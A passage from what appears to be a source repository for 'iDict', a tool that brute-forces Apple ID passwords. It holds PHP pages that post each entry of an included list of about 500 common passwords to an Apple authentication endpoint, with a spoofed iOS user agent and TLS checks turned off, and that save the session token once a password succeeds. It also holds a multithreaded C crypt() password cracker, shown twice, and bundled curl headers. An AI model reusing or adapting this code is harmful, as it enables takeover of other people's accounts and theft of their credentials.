Word for %d : %s\n", p->id, word); 122 | } 123 | h--; 124 | } 125 | 126 | j--; 127 | } 128 | } 129 | 130 | int main(char argc, char *argv[]){ 131 | 132 | if (argc < 4){ 133 | printf("Invalid number of arguments\n"); 134 | printf("Usage: ./crack \n"); 135 | return 0; 136 | } 137 | 138 | int keysize = atoi(argv[2]); 139 | threadCount = atoi(argv[1]); 140 | 141 | if (keysize > 8 || keysize < 1){ 142 | printf("Keysize must from 1 to 8 (inclusive)\n"); 143 | return 0; 144 | } 145 | 146 | 147 | if (threadCount < 1){ 148 | printf("Number of threads must be atleast 1\n"); 149 | return 0; 150 | } 151 | 152 | if (argc > 4 && argv[4] != NULL){ 153 | start = '!'; 154 | stop = '~'; 155 | } 156 | 157 | char salt[3]; 158 | getSalt(argv[3], salt); 159 | 160 | int k = 0; 161 | pthread_t thread[threadCount]; 162 | struct Param p[threadCount]; 163 | int res[threadCount]; 164 | 165 | pthread_mutex_init(&lock, NULL); 166 | 167 | for (k; k < threadCount; k++){ 168 | p[k].salt = salt; 169 | p[k].pswd = argv[3]; 170 | p[k].id = k+1; 171 | 172 | p[k].len = keysize; 173 | 174 | res[k] = pthread_create(&thread[k], NULL, run, &p[k]); 175 | } 176 | 177 | for (k = 0; k < threadCount; k++){ 178 | if (res[k] == 0){ 179 | pthread_join(thread[k], NULL); 180 | } 181 | } 182 | 183 | return 0; 184 | } 185 | -------------------------------------------------------------------------------- /src/curl/crack.c: -------------------------------------------------------------------------------- 1 | #define _XOPEN_SOURCE 2 | #define _GNU_SOURCE 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #define LIMIT 16 13 | 14 | int found = 0; 15 | char stop = 'z'; 16 | char start = 'a'; 17 | int threadCount; 18 | 19 | pthread_mutex_t lock; 20 | 21 | struct Param { 22 | int id; 23 | int len; 24 | char *salt; 25 | char *pswd; 26 | struct crypt_data *data; 27 | }; 28 | 29 | void init(char *word, int size){ 30 | int i = 0; 31 | for(i; ilen; 82 | int count = 1; 83 | 84 | struct crypt_data data; 85 | data.initialized = 0; 86 | 87 | while (j >= 1){ 88 | init(word, j); 89 | int h; 90 | char c; 91 | h = j - 1; 92 | 93 | while(h >= 0){ 94 | 95 | bool end = false; 96 | 97 | if (h != j-1) word[h] += 1; 98 | 99 | while(!end){ 100 | if (found > 0) pthread_exit(NULL); 101 | 102 | if (count == p->id){ 103 | 104 | //if (p->id == 1) printf("Now Word for %d : %s\n", p->id, word); 105 | 106 | int res = crack(p->salt, word, p->pswd, j-1, h, &data, p->id); 107 | 108 | if (res == 1){ 109 | __sync_add_and_fetch(&found, 1); 110 | 111 | printf("Password is: %s\n", word); 112 | pthread_exit(NULL); 113 | } 114 | } 115 | 116 | if (count == threadCount) count = 1; 117 | else count++; 118 | 119 | end = done(word, j-2, h, 1); 120 | 121 | //if ((p->id == 8 || p->id == 7) && j == 4) printf("Next Word for %d : %s\n", p->id, word); 122 | } 123 | h--; 124 | } 125 | 126 | j--; 127 | } 128 | } 129 | 130 | int main(char argc, char *argv[]){ 131 | 132 | if (argc < 4){ 133 | printf("Invalid number of arguments\n"); 134 | printf("Usage: ./crack \n"); 135 | return 0; 136 | } 137 | 138 | int keysize = atoi(argv[2]); 139 | threadCount = atoi(argv[1]); 140 | 141 | if (keysize > 8 || keysize < 1){ 142 | printf("Keysize must from 1 to 8 (inclusive)\n"); 143 | return 0; 144 | } 145 | 146 | 147 | if (threadCount < 1){ 148 | printf("Number of threads must be atleast 1\n"); 149 | return 0; 150 | } 151 | 152 | if (argc > 4 && argv[4] != NULL){ 153 | start = '!'; 154 | stop = '~'; 155 | } 156 | 157 | char salt[3]; 158 | getSalt(argv[3], salt); 159 | 160 | int k = 0; 161 | pthread_t thread[threadCount]; 162 | struct Param p[threadCount]; 163 | int res[threadCount]; 164 | 165 | pthread_mutex_init(&lock, NULL); 166 | 167 | for (k; k < threadCount; k++){ 168 | p[k].salt = salt; 169 | p[k].pswd = argv[3]; 170 | p[k].id = k+1; 171 | 172 | p[k].len = keysize; 173 | 174 | res[k] = pthread_create(&thread[k], NULL, run, &p[k]); 175 | } 176 | 177 | for (k = 0; k < threadCount; k++){ 178 | if (res[k] == 0){ 179 | pthread_join(thread[k], NULL); 180 | } 181 | } 182 | 183 | return 0; 184 | } 185 | -------------------------------------------------------------------------------- /src/curl/easy.h: -------------------------------------------------------------------------------- 1 | #ifndef CURLINC_EASY_H 2 | #define CURLINC_EASY_H 3 | /*************************************************************************** 4 | * _ _ ____ _ 5 | * Project ___| | | | _ \| | 6 | * / __| | | | |_) | | 7 | * | (__| |_| | _ <| |___ 8 | * \___|\___/|_| \_\_____| 9 | * 10 | * Copyright (C) Daniel Stenberg, , et al. 11 | * 12 | * This software is licensed as described in the file COPYING, which 13 | * you should have received as part of this distribution. The terms 14 | * are also available at https://curl.se/docs/copyright.html. 15 | * 16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell 17 | * copies of the Software, and permit persons to whom the Software is 18 | * furnished to do so, under the terms of the COPYING file. 19 | * 20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY 21 | * KIND, either express or implied. 22 | * 23 | * SPDX-License-Identifier: curl 24 | * 25 | ***************************************************************************/ 26 | #ifdef __cplusplus 27 | extern "C" { 28 | #endif 29 | 30 | /* Flag bits in the curl_blob struct: */ 31 | #define CURL_BLOB_COPY 1 /* tell libcurl to copy the data */ 32 | #define CURL_BLOB_NOCOPY 0 /* tell libcurl to NOT copy the data */ 33 | 34 | struct curl_blob { 35 | void *data; 36 | size_t len; 37 | unsigned int flags; /* bit 0 is defined, the rest are reserved and should be 38 | left zeroes */ 39 | }; 40 | 41 | CURL_EXTERN CURL *curl_easy_init(void); 42 | CURL_EXTERN CURLcode curl_easy_setopt(CURL *curl, CURLoption option, ...); 43 | CURL_EXTERN CURLcode curl_easy_perform(CURL *curl); 44 | CURL_EXTERN void curl_easy_cleanup(CURL *curl); 45 | 46 | /* 47 | * NAME curl_easy_getinfo() 48 | * 49 | * DESCRIPTION 50 | * 51 | * Request internal information from the curl session with this function. 52 | * The third argument MUST be pointing to the specific type of the used option 53 | * which is documented in each man page of the option. The data pointed to 54 | * will be filled in accordingly and can be relied upon only if the function 55 | * returns CURLE_OK. This function is intended to get used *AFTER* a performed 56 | * transfer, all results from this function are undefined until the transfer 57 | * is completed. 58 | */ 59 | CURL_EXTERN CURLcode curl_easy_getinfo(CURL *curl, CURLINFO info, ...); 60 | 61 | 62 | /* 63 | * NAME curl_easy_duphandle() 64 | * 65 | * DESCRIPTION 66 | * 67 | * Creates a new curl session handle with the same options set for the handle 68 | * passed in. Duplicating a handle could only be a matter of cloning data and 69 | * options, internal state info and things like persistent connections cannot 70 | * be transferred. It is useful in multithreaded applications when you can run 71 | * curl_easy_duphandle() for each new thread to avoid a series of identical 72 | * curl_easy_setopt() invokes in every thread. 73 | */ 74 | CURL_EXTERN CURL *curl_easy_duphandle(CURL *curl); 75 | 76 | /* 77 | * NAME curl_easy_reset() 78 | * 79 | * DESCRIPTION 80 | * 81 | * Re-initializes a CURL handle to the default values. This puts back the 82 | * handle to the same state as it was in when it was just created. 83 | * 84 | * It does keep: live connections, the Session ID cache, the DNS cache and the 85 | * cookies. 86 | */ 87 | CURL_EXTERN void curl_easy_reset(CURL *curl); 88 | 89 | /* 90 | * NAME curl_easy_recv() 91 | * 92 | * DESCRIPTION 93 | * 94 | * Receives data from the connected socket. Use after successful 95 | * curl_easy_perform() with CURLOPT_CONNECT_ONLY option. 96 | */ 97 | CURL_EXTERN CURLcode curl_easy_recv(CURL *curl, void *buffer, size_t buflen, 98 | size_t *n); 99 | 100 | /* 101 | * NAME curl_easy_send() 102 | * 103 | * DESCRIPTION 104 | * 105 | * Sends data over the connected socket. Use after successful 106 | * curl_easy_perform() with CURLOPT_CONNECT_ONLY option. 107 | */ 108 | CURL_EXTERN CURLcode curl_easy_send(CURL *curl, const void *buffer, 109 | size_t buflen, size_t *n); 110 | 111 | 112 | /* 113 | * NAME curl_easy_upkeep() 114 | * 115 | * DESCRIPTION 116 | * 117 | * Performs connection upkeep for the given session handle. 118 | */ 119 | CURL_EXTERN CURLcode curl_easy_upkeep(CURL *curl); 120 | 121 | #ifdef __cplusplus 122 | } /* end of extern "C" */ 123 | #endif 124 | 125 | #endif 126 | -------------------------------------------------------------------------------- /src/main.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | iDict 7 | 8 | 10 | 11 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 | 32 |
33 |

================================================= 34 |
| iDict Apple ID BruteForcer and Account Management Tool | 35 |
================================================= 36 |
37 | 38 | 41 | 42 | 43 | 44 | 45 | 46 | dict->dict->string[23]; //the droid were looking for 54 | 55 | $file_handle = fopen("./files/wordlist.txt", "r"); 56 | 57 | while (!feof($file_handle)) { 58 | 59 | $ch = curl_init(); 60 | 61 | $line_of_text = fgets($file_handle); 62 | $password = rtrim($line_of_text); 63 | 64 | $payload = 65 | ' 66 | 67 | 68 | 69 | apple-id 70 | '. $appleid .' 71 | client-id 72 | 73 | delegates 74 | 75 | com.apple.gamecenter 76 | 77 | com.apple.mobileme 78 | 79 | com.apple.private.ids 80 | 81 | protocol-version 82 | 4 83 | 84 | 85 | password 86 | '. $password .' 87 | 88 | '; 89 | 90 | 91 | 92 | 93 | echo "Trying URL:
" . "~=~" . $url. "~=~" . "
"; 94 | 95 | echo "Trying Password:
" . "~=~" . $line_of_text . "~=~" . "

"; 96 | 97 | 98 | curl_setopt($ch, CURLOPT_URL,$url); 99 | curl_setopt($ch, CURLOPT_POST, true); 100 | curl_setopt($ch,CURLOPT_ENCODING, ''); 101 | curl_setopt($ch, CURLOPT_VERBOSE, true); 102 | curl_setopt($ch, CURLINFO_HEADER_OUT, true); 103 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 104 | curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); 105 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 106 | curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); 107 | curl_setopt($ch, CURLOPT_USERAGENT, 'Accounts/113 CFNetwork/672.0.8 Darwin/14.0.0'); 108 | curl_setopt($ch, CURLOPT_HTTPHEADER, array( 109 | 'Proxy-Connection: keep-alive', 110 | 'Accept: */*', 111 | 'Accept-Encoding: gzip, deflate', 112 | 'Content-Type: text/plist', 113 | 'Accept-Language: en-us', 114 | 'X-MMe-Country: US', 115 | 'X-MMe-Client-Info: ', 116 | 'Content-length: ' . strlen($payload), 117 | 'Connection: keep-alive' 118 | )); 119 | 120 | $got = 0; 121 | $response = curl_exec($ch); 122 | 123 | $pos = 0; 124 | $pos = strpos($response, "delegates"); 125 | if($pos > 0) { 126 | $got = 1; 127 | echo "Password Found!!
"; 128 | } 129 | 130 | $pos = 0; 131 | $pos = strpos($response, "disabled"); 132 | if($pos > 0) { 133 | $got = 1; 134 | echo "Account Blocked
"; 135 | exit(0); 136 | } 137 | 138 | $pos = 0; 139 | $pos = strpos($response, "incorrectly"); 140 | if($pos > 0) { 141 | $got = 1; 142 | echo "Password Incorrect
"; 143 | } 144 | 145 | if($got == 0) { 146 | echo $response; 147 | //echo "

Headers Debugging Info:

"; 148 | //echo curl_getinfo($ch, CURLINFO_HEADER_OUT); 149 | } 150 | 151 | if ( $error = curl_error($ch) ) 152 | echo 'ERROR: ',$error; 153 | 154 | curl_close($ch); 155 | 156 | 157 | if (strpos($response, "delegates") !== false) 158 | { 159 | echo "
Generating Token....
"; 160 | file_put_contents('./token.plist', $response); 161 | echo "
Saved to Disk...
"; 162 | die( "Success! The password is: {$line_of_text}" ); 163 | 164 | }else{ 165 | echo "Incorrect Trying Next
"; 166 | 167 | } 168 | } 169 | fclose($file_handle); 170 | ?> 171 | 172 | 173 | 174 | 175 | -------------------------------------------------------------------------------- /src/curl/urlapi.h: -------------------------------------------------------------------------------- 1 | #ifndef CURLINC_URLAPI_H 2 | #define CURLINC_URLAPI_H 3 | /*************************************************************************** 4 | * _ _ ____ _ 5 | * Project ___| | | | _ \| | 6 | * / __| | | | |_) | | 7 | * | (__| |_| | _ <| |___ 8 | * \___|\___/|_| \_\_____| 9 | * 10 | * Copyright (C) Daniel Stenberg, , et al. 11 | * 12 | * This software is licensed as described in the file COPYING, which 13 | * you should have received as part of this distribution. The terms 14 | * are also available at https://curl.se/docs/copyright.html. 15 | * 16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell 17 | * copies of the Software, and permit persons to whom the Software is 18 | * furnished to do so, under the terms of the COPYING file. 19 | * 20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY 21 | * KIND, either express or implied. 22 | * 23 | * SPDX-License-Identifier: curl 24 | * 25 | ***************************************************************************/ 26 | 27 | #include "curl.h" 28 | 29 | #ifdef __cplusplus 30 | extern "C" { 31 | #endif 32 | 33 | /* the error codes for the URL API */ 34 | typedef enum { 35 | CURLUE_OK, 36 | CURLUE_BAD_HANDLE, /* 1 */ 37 | CURLUE_BAD_PARTPOINTER, /* 2 */ 38 | CURLUE_MALFORMED_INPUT, /* 3 */ 39 | CURLUE_BAD_PORT_NUMBER, /* 4 */ 40 | CURLUE_UNSUPPORTED_SCHEME, /* 5 */ 41 | CURLUE_URLDECODE, /* 6 */ 42 | CURLUE_OUT_OF_MEMORY, /* 7 */ 43 | CURLUE_USER_NOT_ALLOWED, /* 8 */ 44 | CURLUE_UNKNOWN_PART, /* 9 */ 45 | CURLUE_NO_SCHEME, /* 10 */ 46 | CURLUE_NO_USER, /* 11 */ 47 | CURLUE_NO_PASSWORD, /* 12 */ 48 | CURLUE_NO_OPTIONS, /* 13 */ 49 | CURLUE_NO_HOST, /* 14 */ 50 | CURLUE_NO_PORT, /* 15 */ 51 | CURLUE_NO_QUERY, /* 16 */ 52 | CURLUE_NO_FRAGMENT, /* 17 */ 53 | CURLUE_NO_ZONEID, /* 18 */ 54 | CURLUE_BAD_FILE_URL, /* 19 */ 55 | CURLUE_BAD_FRAGMENT, /* 20 */ 56 | CURLUE_BAD_HOSTNAME, /* 21 */ 57 | CURLUE_BAD_IPV6, /* 22 */ 58 | CURLUE_BAD_LOGIN, /* 23 */ 59 | CURLUE_BAD_PASSWORD, /* 24 */ 60 | CURLUE_BAD_PATH, /* 25 */ 61 | CURLUE_BAD_QUERY, /* 26 */ 62 | CURLUE_BAD_SCHEME, /* 27 */ 63 | CURLUE_BAD_SLASHES, /* 28 */ 64 | CURLUE_BAD_USER, /* 29 */ 65 | CURLUE_LACKS_IDN, /* 30 */ 66 | CURLUE_TOO_LARGE, /* 31 */ 67 | CURLUE_LAST 68 | } CURLUcode; 69 | 70 | typedef enum { 71 | CURLUPART_URL, 72 | CURLUPART_SCHEME, 73 | CURLUPART_USER, 74 | CURLUPART_PASSWORD, 75 | CURLUPART_OPTIONS, 76 | CURLUPART_HOST, 77 | CURLUPART_PORT, 78 | CURLUPART_PATH, 79 | CURLUPART_QUERY, 80 | CURLUPART_FRAGMENT, 81 | CURLUPART_ZONEID /* added in 7.65.0 */ 82 | } CURLUPart; 83 | 84 | #define CURLU_DEFAULT_PORT (1<<0) /* return default port number */ 85 | #define CURLU_NO_DEFAULT_PORT (1<<1) /* act as if no port number was set, 86 | if the port number matches the 87 | default for the scheme */ 88 | #define CURLU_DEFAULT_SCHEME (1<<2) /* return default scheme if 89 | missing */ 90 | #define CURLU_NON_SUPPORT_SCHEME (1<<3) /* allow non-supported scheme */ 91 | #define CURLU_PATH_AS_IS (1<<4) /* leave dot sequences */ 92 | #define CURLU_DISALLOW_USER (1<<5) /* no user+password allowed */ 93 | #define CURLU_URLDECODE (1<<6) /* URL decode on get */ 94 | #define CURLU_URLENCODE (1<<7) /* URL encode on set */ 95 | #define CURLU_APPENDQUERY (1<<8) /* append a form style part */ 96 | #define CURLU_GUESS_SCHEME (1<<9) /* legacy curl-style guessing */ 97 | #define CURLU_NO_AUTHORITY (1<<10) /* Allow empty authority when the 98 | scheme is unknown. */ 99 | #define CURLU_ALLOW_SPACE (1<<11) /* Allow spaces in the URL */ 100 | #define CURLU_PUNYCODE (1<<12) /* get the host name in punycode */ 101 | #define CURLU_PUNY2IDN (1<<13) /* punycode => IDN conversion */ 102 | #define CURLU_GET_EMPTY (1<<14) /* allow empty queries and fragments 103 | when extracting the URL or the 104 | components */ 105 | 106 | typedef struct Curl_URL CURLU; 107 | 108 | /* 109 | * curl_url() creates a new CURLU handle and returns a pointer to it. 110 | * Must be freed with curl_url_cleanup(). 111 | */ 112 | CURL_EXTERN CURLU *curl_url(void); 113 | 114 | /* 115 | * curl_url_cleanup() frees the CURLU handle and related resources used for 116 | * the URL parsing. It will not free strings previously returned with the URL 117 | * API. 118 | */ 119 | CURL_EXTERN void curl_url_cleanup(CURLU *handle); 120 | 121 | /* 122 | * curl_url_dup() duplicates a CURLU handle and returns a new copy. The new 123 | * handle must also be freed with curl_url_cleanup(). 124 | */ 125 | CURL_EXTERN CURLU *curl_url_dup(const CURLU *in); 126 | 127 | /* 128 | * curl_url_get() extracts a specific part of the URL from a CURLU 129 | * handle. Returns error code. The returned pointer MUST be freed with 130 | * curl_free() afterwards. 131 | */ 132 | CURL_EXTERN CURLUcode curl_url_get(const CURLU *handle, CURLUPart what, 133 | char **part, unsigned int flags); 134 | 135 | /* 136 | * curl_url_set() sets a specific part of the URL in a CURLU handle. Returns 137 | * error code. The passed in string will be copied. Passing a NULL instead of 138 | * a part string, clears that part. 139 | */ 140 | CURL_EXTERN CURLUcode curl_url_set(CURLU *handle, CURLUPart what, 141 | const char *part, unsigned int flags); 142 | 143 | /* 144 | * curl_url_strerror() turns a CURLUcode value into the equivalent human 145 | * readable error string. This is useful for printing meaningful error 146 | * messaPgt. 147 | */ 148 | CURL_EXTERN const char *curl_url_strerror(CURLUcode); 149 | 150 | #ifdef __cplusplus 151 | } /* end of extern "C" */ 152 | #endif 153 | 154 | #endif /* CURLINC_URLAPI_H */ 155 | -------------------------------------------------------------------------------- /src/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | iDict 7 | 8 | 10 | 11 | 22 | 23 | 75 | 111 | 112 | 113 | 114 |
-~==*Fetching Configuration File from Apple's Server*==~-

"; 119 | sleep(5); 120 | 121 | $ch = curl_init(); // initialize curl handle 122 | 123 | curl_setopt($ch, CURLOPT_URL,'https://setup.icloud.com/configurations/init?context=settings'); // URL 124 | curl_setopt($ch,CURLOPT_ENCODING, ''); // decode gzip 125 | curl_setopt($ch, CURLOPT_VERBOSE, true); // debugging 126 | curl_setopt($ch, CURLINFO_HEADER_OUT, true); // debugging 127 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // dont check server certs 128 | curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // dont check server certs 129 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // return response 130 | curl_setopt($ch, CURLOPT_USERAGENT, 'Settings/1.0 CFNetwork/672.0.8 Darwin/14.0.0'); // UserAgent 131 | curl_setopt($ch, CURLOPT_HTTPHEADER, array( 132 | 'Proxy-Connection: keep-alive', // Set Request Headers 133 | 'Accept: */*', 134 | 'Accept-Encoding: gzip, deflate', 135 | 'Accept-Language: en-us', 136 | 'X-MMe-Country: US', 137 | 'Connection: keep-alive', 138 | 'X-MMe-Client-Info: ', 139 | )); 140 | 141 | $response = curl_exec($ch); // execute! 142 | 143 | //echo $response; //Debugging Info 144 | //echo "
Headers Debugging Info:

"; 145 | //echo curl_getinfo($ch, CURLINFO_HEADER_OUT); 146 | 147 | if ( $error = curl_error($ch) ) 148 | echo 'ERROR: ',$error; 149 | 150 | curl_close($ch); 151 | 152 | file_put_contents('./files/config.plist', $response); 153 | echo "
Saved to Disk..
"; // save to file 154 | 155 | return $response; 156 | } // close curl 157 | getConfig(); // close the function 158 | ?> 159 |
160 | 161 | XoXo 162 | 163 |
164 |

================================================= 165 |
| iDict Apple ID BruteForcer and Account Management Tool | 166 |
================================================= 167 |


168 | 169 |
170 | 171 |



172 |
Enjoy
173 | 174 |
175 | 176 | 177 | -------------------------------------------------------------------------------- /files/wordlist.txt: -------------------------------------------------------------------------------- 1 | Password1 2 | Princess1 3 | P@ssw0rd 4 | Passw0rd 5 | Michael1 6 | Blink182 7 | !QAZ2wsx 8 | Charlie1 9 | Anthony1 10 | 1qaz!QAZ 11 | Brandon1 12 | Jordan23 13 | 1qaz@WSX 14 | Jessica1 15 | Jasmine1 16 | Michelle1 17 | Diamond1 18 | Babygirl1 19 | Iloveyou2 20 | Matthew1 21 | Rangers1 22 | Pa55word 23 | Iverson3 24 | Sunshine1 25 | Madison1 26 | William1 27 | Elizabeth1 28 | Password123 29 | Liverpool1 30 | Cameron1 31 | Butterfly1 32 | Beautiful1 33 | !QAZ1qaz 34 | Patrick1 35 | Welcome1 36 | Iloveyou1 37 | Bubbles1 38 | Chelsea1 39 | ZAQ!2wsx 40 | Blessed1 41 | Richard1 42 | Danielle1 43 | Raiders1 44 | Jackson1 45 | Jesus777 46 | Jennifer1 47 | Alexander1 48 | Ronaldo7 49 | Heather1 50 | Dolphin1 51 | Destiny1 52 | Brianna1 53 | Trustno1 54 | 1qazZAQ! 55 | Precious1 56 | Freedom1 57 | Christian1 58 | Brooklyn1 59 | !QAZxsw2 60 | Password2 61 | Football1 62 | ABCabc123 63 | Samantha1 64 | Charmed1 65 | Trinity1 66 | Chocolate1 67 | America1 68 | Password01 69 | Natalie1 70 | Superman1 71 | Scooter1 72 | Mustang1 73 | Brittany1 74 | Angel123 75 | Jonathan1 76 | Friends1 77 | Courtney1 78 | Aaliyah1 79 | Rebecca1 80 | Timothy1 81 | Scotland1 82 | Raymond1 83 | Inuyasha1 84 | Tiffany1 85 | Pa55w0rd 86 | Nicholas1 87 | Melissa1 88 | Isabella1 89 | Summer07 90 | Rainbow1 91 | Poohbear1 92 | Peaches1 93 | Gabriel1 94 | Arsenal1 95 | Antonio1 96 | Victoria1 97 | Stephanie1 98 | Dolphins1 99 | ABC123abc 100 | Spongebob1 101 | Pa$$w0rd 102 | Forever1 103 | iydgTvmujl6f 104 | Zachary1 105 | Yankees1 106 | Stephen1 107 | Shannon1 108 | John3:16 109 | Gerrard8 110 | Fuckyou2 111 | ZAQ!1qaz 112 | Pebbles1 113 | Monster1 114 | Chicken1 115 | zaq1!QAZ 116 | Spencer1 117 | Savannah1 118 | Jesusis1 119 | Jeffrey1 120 | Houston1 121 | Florida1 122 | Crystal1 123 | Tristan1 124 | Thunder1 125 | Thumper1 126 | Special1 127 | Pr1ncess 128 | Password12 129 | Justice1 130 | Cowboys1 131 | Charles1 132 | Blondie1 133 | Softball1 134 | Orlando1 135 | Greenday1 136 | Dominic1 137 | !QAZzaq1 138 | abc123ABC 139 | Snickers1 140 | Patches1 141 | P@$$w0rd 142 | Natasha1 143 | Myspace1 144 | Monique1 145 | Letmein1 146 | James123 147 | Celtic1888 148 | Benjamin1 149 | Baseball1 150 | 1qazXSW@ 151 | Vanessa1 152 | Steelers1 153 | Slipknot1 154 | Princess13 155 | Princess12 156 | Midnight1 157 | Marines1 158 | M1chelle 159 | Lampard8 160 | Jesus123 161 | Frankie1 162 | Elizabeth2 163 | Douglas1 164 | Devil666 165 | Christina1 166 | Bradley1 167 | zaq1@WSX 168 | Tigger01 169 | Summer08 170 | Princess21 171 | Playboy1 172 | October1 173 | Katrina1 174 | Iloveme1 175 | Chris123 176 | Chicago1 177 | Charlotte1 178 | Broncos1 179 | BabyGirl1 180 | Abigail1 181 | Tinkerbell1 182 | Rockstar1 183 | RockYou1 184 | Michelle2 185 | Georgia1 186 | Computer1 187 | Breanna1 188 | Babygurl1 189 | Trinity3 190 | Pumpkin1 191 | Princess7 192 | Preston1 193 | Newyork1 194 | Marissa1 195 | Liberty1 196 | Lebron23 197 | Jamaica1 198 | Fuckyou1 199 | Chester1 200 | Braxton1 201 | August12 202 | z,iyd86I 203 | l6fkiy9oN 204 | Sweetie1 205 | November1 206 | Love4ever 207 | Ireland1 208 | Iloveme2 209 | Christine1 210 | Buttons1 211 | Babyboy1 212 | Angel101 213 | Vincent1 214 | Spartan117 215 | Soccer12 216 | Princess2 217 | Penguin1 218 | Password5 219 | Password3 220 | Panthers1 221 | Nirvana1 222 | Nicole12 223 | Nichole1 224 | Molly123 225 | Metallica1 226 | Mercedes1 227 | Mackenzie1 228 | Kenneth1 229 | Jackson5 230 | Genesis1 231 | Diamonds1 232 | Buttercup1 233 | Brandon7 234 | Whatever1 235 | TheSims2 236 | Summer06 237 | Starwars1 238 | Spiderman1 239 | Soccer11 240 | Skittles1 241 | Princess01 242 | Phoenix1 243 | Pass1234 244 | Panther1 245 | November11 246 | Lindsey1 247 | Katherine1 248 | JohnCena1 249 | January1 250 | Gangsta1 251 | Fuckoff1 252 | Freddie1 253 | Forever21 254 | Death666 255 | Chopper1 256 | Arianna1 257 | Allison1 258 | Yankees2 259 | TrustNo1 260 | Tiger123 261 | Summer05 262 | September1 263 | Sebastian1 264 | Sabrina1 265 | Princess07 266 | Popcorn1 267 | Pokemon1 268 | Omarion1 269 | Nursing1 270 | Miranda1 271 | Melanie1 272 | Maxwell1 273 | Lindsay1 274 | Joshua01 275 | Hollywood1 276 | Hershey1 277 | Hello123 278 | Gordon24 279 | Gateway1 280 | Garrett1 281 | David123 282 | Daniela1 283 | Butterfly7 284 | Buddy123 285 | Brandon2 286 | Bethany1 287 | Austin316 288 | Atlanta1 289 | Angelina1 290 | Alexandra1 291 | Airforce1 292 | Winston1 293 | Veronica1 294 | Vanilla1 295 | Trouble1 296 | Summer01 297 | Snowball1 298 | Rockyou1 299 | Qwerty123 300 | Pickles1 301 | Password11 302 | Password1! 303 | November15 304 | Music123 305 | Monkeys1 306 | Matthew2 307 | Marie123 308 | Madonna1 309 | Kristen1 310 | Kimberly1 311 | Justin23 312 | Justin11 313 | Jesus4me 314 | Jeremiah1 315 | Jennifer2 316 | Jazmine1 317 | FuckYou2 318 | Colorado1 319 | Christmas1 320 | Bella123 321 | Bailey12 322 | August20 323 | 3edc#EDC 324 | 2wsx@WSX 325 | 12qw!@QW 326 | #EDC4rfv 327 | Winter06 328 | Welcome123 329 | Unicorn1 330 | Tigger12 331 | Soccer13 332 | Senior06 333 | Scrappy1 334 | Scorpio1 335 | Santana1 336 | Rocky123 337 | Ricardo1 338 | Princess123 339 | Password9 340 | Password4 341 | P@55w0rd 342 | Monkey12 343 | Michele1 344 | Micheal1 345 | Michael7 346 | Michael01 347 | Matthew3 348 | Marshall1 349 | Loveyou2 350 | Lakers24 351 | Kennedy1 352 | Jesusis#1 353 | Jehovah1 354 | Isabelle1 355 | Hawaii50 356 | Grandma1 357 | Godislove1 358 | Giggles1 359 | Friday13 360 | Formula1 361 | England1 362 | Cutiepie1 363 | Cricket1 364 | Catherine1 365 | Brownie1 366 | Boricua1 367 | Beckham7 368 | Awesome1 369 | Annabelle1 370 | Anderson1 371 | Alabama1 372 | 1941.Salembbb.41 373 | 123qweASD 374 | abcABC123 375 | Twilight1 376 | Thirteen13 377 | Taylor13 378 | Superstar1 379 | Summer99 380 | Soccer14 381 | Robert01 382 | Prototype1 383 | Princess5 384 | Princess24 385 | Pr1nc3ss 386 | Phantom1 387 | Patricia1 388 | Password13 389 | Passion1 390 | P4ssword 391 | Nathan06 392 | Monkey13 393 | Monkey01 394 | Liverpool123 395 | Liverp00l 396 | Laura123 397 | Ladybug1 398 | Kristin1 399 | Kendall1 400 | Justin01 401 | Jordan12 402 | Jordan01 403 | Jesus143 404 | Jessica7 405 | Internet1 406 | Goddess1 407 | Friends2 408 | Falcons7 409 | Derrick1 410 | December21 411 | Daisy123 412 | Colombia1 413 | Clayton1 414 | Cheyenne1 415 | Brittney1 416 | Blink-182 417 | August22 418 | Asshole1 419 | Ashley12 420 | Arsenal12 421 | Addison1 422 | Abcd1234 423 | @WSX2wsx 424 | !Qaz2wsx 425 | zaq1ZAQ! 426 | ZAQ!xsw2 427 | Whitney1 428 | Welcome2 429 | Vampire1 430 | Valerie1 431 | Titanic1 432 | Tigger123 433 | Teddybear1 434 | Tbfkiy9oN 435 | Sweetpea1 436 | Start123 437 | Soccer17 438 | Smokey01 439 | Shopping1 440 | Serenity1 441 | Senior07 442 | Sail2Boat3 443 | Rusty123 444 | Russell1 445 | Redskins1 446 | Rebelde1 447 | Princess4 448 | Princess23 449 | Princess19 450 | Princess18 451 | Princess15 452 | Princess08 453 | PoohBear1 454 | Peanut11 455 | Peanut01 456 | Password7 457 | Password21 458 | Passw0rd1 459 | October22 460 | October13 461 | November16 462 | Montana1 463 | Michael2 464 | Michael07 465 | Makayla1 466 | Madison01 467 | Lucky123 468 | Longhorns1 469 | Kathryn1 470 | Katelyn1 471 | Justin21 472 | Jesus1st 473 | January29 474 | ILoveYou2 475 | Hunter01 476 | Honey123 477 | Holiday1 478 | Harry123 479 | Falcons1 480 | December1 481 | Dan1elle 482 | Dallas22 483 | College1 484 | Classof08 485 | Chelsea123 486 | Chargers1 487 | Cassandra1 488 | Carolina1 489 | Candy123 490 | Brayden1 491 | Bigdaddy1 492 | Bentley1 493 | Batista1 494 | Barcelona1 495 | Australia1 496 | Austin02 497 | August10 498 | August08 499 | Arsenal123 500 | Anthony11 501 | -------------------------------------------------------------------------------- /src/curl/multi.h: -------------------------------------------------------------------------------- 1 | #ifndef CURLINC_MULTI_H 2 | #define CURLINC_MULTI_H 3 | /*************************************************************************** 4 | * _ _ ____ _ 5 | * Project ___| | | | _ \| | 6 | * / __| | | | |_) | | 7 | * | (__| |_| | _ <| |___ 8 | * \___|\___/|_| \_\_____| 9 | * 10 | * 